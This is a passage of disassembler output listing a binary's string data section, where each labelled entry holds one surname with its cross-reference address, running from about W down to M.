'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA 